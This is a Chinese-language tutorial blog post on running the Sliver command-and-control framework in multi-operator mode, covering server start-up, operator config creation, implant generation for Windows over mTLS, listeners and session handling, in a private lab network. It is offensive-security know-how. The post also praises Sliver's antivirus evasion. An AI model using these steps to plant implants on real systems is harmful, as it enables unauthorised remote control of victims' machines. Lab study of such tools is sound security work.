Sliver C2 从入门到精髓

2022-11-22 16:56:59 浏览数 (1)

在前面的一篇文章中,我们讲到了Sliver框架的使用。如果是单用户模式,我们在服务端玩就足够了。但是Sliver是支持C2结构的(即服务端和客户端)。本文我们一起来研究吧!注:本文仅作为学习和研究,请勿非法使用。

Sliver在设计上是考虑了多用户以及多平台生成相关Shell。

实验环境

  • Sliver Server (192.168.123.23)
  • Sliver Client (192.168.123.74)
  • 靶机 (192.168.123.129) 配置服务端 在前面的文章中,我们已经大致了解了服务端的安装和启动。由于网络问题,建议直接下载编译好的文件。

启动服务端

代码语言:javascript复制
./sliver-server_linux

如果是单用户,到这步已经完成了安装,可以直接在终端执行相关命令。但如果是多client协同则还需要进行下面的步骤。

生成Client配置文件
代码语言:javascript复制
new-operator --name Dabiaoge --lhost Server服务器IP #新建一个client
multiplayer #启用多用户

这时,会生成客户端的配置文件/root/tool/Dabiaoge_192.168.123.23.cfg,这里我只生成了一个用户,如果有多个用户,修改name的值就行了。需要注意的是,server端默认监听的端口为31337。如果要修改的话 vim ~/.sliver/configs/server.json

Sliver Client安装配置

这里为了方便,我们还是直接用编译好的Client

将刚才服务端生成的配置文件.cfg上传到客户端。

导入配置文件

代码语言:javascript复制
./sliver-client_linux import /root/tool/Dabiaoge_192.168.123.23.cfg

这样就完成了C/S架构的Sliver安装配置。

生成shell

命令格式如下:

代码语言:javascript复制
generate --mtls <Server IP> --save ./test.exe --os Windows

命令详解:

--mtls:监听协议(包括http、mtls、grpc )

开启监听

如上一步,我们生成shell所用的监听协议为mtls,故我们要配置mtls类型的监听。

在终端执行命令

代码语言:javascript复制
mtls

通过输入jobs命令,可以查看目前开启的监听。

默认端口是8888 如果要指定端口,执行命令

代码语言:javascript复制
mtls -l 9999

查看生成过的shell

代码语言:javascript复制
implants

运行shell后,server和client端都会得到会话的消息。主要包含session id、外网IP、主机名、平台、时间等等。

会话操作

代码语言:javascript复制
sessions -i id  #进入会话
sessions -k id  #结束会话

进入会话后,就和msf的控制台一样了。通过help命令,我们可以得到相关的执行参数。

总结

在我看来,Sliver最大的优点在免杀效果要远远胜于其他几个框架。可玩性也比较高,安装简单并跨平台。但是生成的Shell相对来说比较大。


版权属于:逍遥子大表哥

本文链接:https://cloud.tencent.com/developer/article/2171683

按照知识共享署名-非商业性使用 4.0 国际协议进行许可,转载引用文章应遵循相同协议。

0 人点赞